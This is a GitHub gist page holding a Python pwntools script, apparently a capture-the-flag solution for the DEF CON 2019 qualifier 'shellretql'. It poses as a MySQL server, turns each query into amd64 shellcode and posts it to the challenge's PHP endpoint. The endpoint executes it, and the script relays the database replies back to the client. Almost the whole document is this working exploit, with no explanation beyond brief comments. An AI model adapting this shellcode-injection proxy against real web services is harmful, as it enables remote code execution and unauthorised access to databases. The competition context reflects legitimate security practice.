Created
May 12, 2019 01:21
-
-
Save darkarnium/ec11b6babdfbe04c49ad13e7111b9bba to your computer and use it in GitHub Desktop.
MySQL Proxy for OOO
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import struct | |
import pprint | |
from pwn import * | |
import requests | |
def _pcap_hdr(): | |
pcap_hdr_s = bytearray([ | |
0xd4, 0xc3, 0xb2, 0xa1, # Magic_number. | |
0x02, 0x00, # Major version number. | |
0x04, 0x00, # Minor version number. | |
0x00, 0x00, 0x00, 0x00, # GMT to local correction. | |
0x00, 0x00, 0x00, 0x00, # Accuracy of timestamps. | |
0x00, 0x00, 0x04, 0x00, # Max length of packets (octets). | |
0x01, 0x00, 0x00, 0x00, # Data link type. | |
]) | |
return pcap_hdr_s | |
def _cap_hdr(cap_sz): | |
cap_hdr_s = bytearray() | |
cap_hdr_s.extend([ | |
0xb0, 0xe8, 0xd6, 0x5c, # Timestamp seconds. | |
0x15, 0x59, 0x03, 0x00, # Timestamp micro seconds. | |
]) | |
cap_hdr_s.extend( | |
struct.pack("I", cap_sz), # Number of octets saved. | |
) | |
cap_hdr_s.extend( | |
struct.pack("I", cap_sz), # Actual size of packet. | |
) | |
return cap_hdr_s | |
def _ether_hdr(): | |
ether_hdr_s = bytearray() | |
ether_hdr_s.extend([ | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # Destination address. | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # Source address. | |
0x08, 0x00, # Protocol. | |
]) | |
return ether_hdr_s | |
def _ip_hdr(ip_sz): | |
ip_hdr_s = bytearray() | |
ip_hdr_s.extend([ | |
0x45, # Version << 4 | header length >> 2 | |
0x00, # Type of service. | |
]) | |
ip_hdr_s.extend( | |
struct.pack(">H", ip_sz), # Total length. | |
) | |
ip_hdr_s.extend([ | |
0x9e, 0xa3, # Identification | |
0x40, 0x00, # Flags. | |
0x40, # TTL. | |
0x06, # Protocol. | |
0xff, 0xff, # Checksum. | |
0x7f, 0x00, 0x00, 0x01, # Source address. | |
0x7f, 0x00, 0x00, 0x01, # Destination address. | |
]) | |
# Checksum hack. | |
return ip_hdr_s | |
def _tcp_hdr(): | |
tcp_hdr_s = bytearray() | |
tcp_hdr_s.extend([ | |
0x0c, 0xea, # Sourceport. | |
0xab, 0x9c, # Destination port. | |
0x7d, 0x5c, 0x66, 0x64, # Sequence number. | |
0x19, 0x82, 0xe8, 0x30, # Acknowledgement number. | |
0x80, 0x18, # Flags. | |
0x0e, 0x35, # Window size. | |
0xfe, 0x38, # Checksum. | |
0x00, 0x00, # Urgent pointer. | |
0x01, 0x01, 0x08, 0x0a, # Options. | |
0xe9, 0xed, 0x69, 0xe7, # | |
0xe9, 0xed, 0x50, 0xa1, # | |
]) | |
return tcp_hdr_s | |
# Alright, build the capture. The sizes will need to be adjusted based on | |
# the size of the payload. | |
def build_pcap(payload): | |
with open('output.pcap', 'wb') as fin: | |
pl = bytearray(payload) | |
# Calculate the size of the relevant chunks for building the PCAP. | |
ip_sz = len(_ip_hdr(0)) + len(_tcp_hdr()) + len(pl) | |
pcap_sz = len(_pcap_hdr()) + len(_cap_hdr(0)) | |
capture_sz = ip_sz + len(_ether_hdr()) | |
# Debug. | |
print '[-] PCAP Header Size: {}'.format(pcap_sz) | |
print '[-] Capture Size: {}'.format(capture_sz) | |
print '[-] IP Size: {}'.format(ip_sz) | |
# Build it! | |
fin.write(_pcap_hdr()) | |
fin.write(_cap_hdr(capture_sz)) | |
fin.write(_ether_hdr()) | |
fin.write(_ip_hdr(ip_sz)) | |
fin.write(_tcp_hdr()) | |
fin.write(pl) | |
def _do_request(query): | |
context.arch = "amd64" | |
context.os = "linux" | |
host = "http://shellretql.quals2019.oooverflow.io:9090/cgi-bin/" | |
html = "\r\n".join( | |
[ | |
"X-Powered-By: PHP/7.0.28-0ubuntu0.16.04.1", | |
"Content-Type: text/html; charset=UTF-8", | |
"", | |
"", | |
] | |
) | |
shellcode = "" | |
shellcode += shellcraft.echo(p16(len(query)) + "\x00\x00\x03" + query , 4) | |
shellcode += shellcraft.read(4, 'rsp', 200) | |
shellcode += shellcraft.pushstr(html) | |
shellcode += shellcraft.write(1, 'rsp', 500) | |
data = { | |
"shell": asm(shellcode) + "\x00" | |
} | |
resp = requests.post(host + "index.php", data=data) | |
# Process the query. | |
my_raw = bytearray(resp.content)[3:] | |
my_hdr = my_raw[0:5] | |
# # Get the length of the first packet. | |
pkt_len = my_raw[5:8] | |
pkt_len.extend([0x0]) # Pad due to 3-byte integer. | |
pkt_len = struct.unpack("<I", pkt_len)[0] | |
# Calculate the packet end by adding the length to the size of the header, | |
# and friends. | |
pkt_end = len(my_hdr) * 2 + pkt_len - 1 | |
return my_raw | |
# build_pcap(my_raw[:pkt_end]) | |
def _get_len(header): | |
# Get the first three bytes, which will tell us how much to read. | |
readlen = bytearray() | |
readlen.extend(header) | |
readlen.extend([0x0]) | |
return struct.unpack("<i", readlen)[0] | |
if __name__ == '__main__': | |
# | |
# Setup the proxy. | |
# | |
l = listen(3306) | |
c = l.wait_for_connection() | |
# Pretend we're a server. | |
l.send( | |
"{0}{1}{2}{3}{4}".format( | |
"5b0000000a352e372e32362d307562756e7475302e313", | |
"82e30342e3100040000003a7546583e55517200fff708", | |
"0200ff8115000000000000000000002b105e74417c072", | |
"c5b610e3a006d7973716c5f6e61746976655f70617373", | |
"776f726400", | |
).decode("hex") | |
) | |
# Get the client authentication request, and throw it away \o/ | |
readlen = _get_len(l.recv(3)) | |
l.recv(1) | |
l.recv(readlen) | |
# Give them an OK. | |
l.send("0700000200000002000000".decode("hex")) | |
# Get the client's request, proxy to the server, and get the result. | |
while True: | |
# Get the length, and throw away the next two fields. | |
readlen = _get_len(l.recv(3)) | |
l.recv(2) | |
# Proxy to the mother ship, and forward the response. | |
query = l.recv(readlen) + ';' | |
resp = _do_request(query) | |
build_pcap(resp) | |
l.send(resp) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment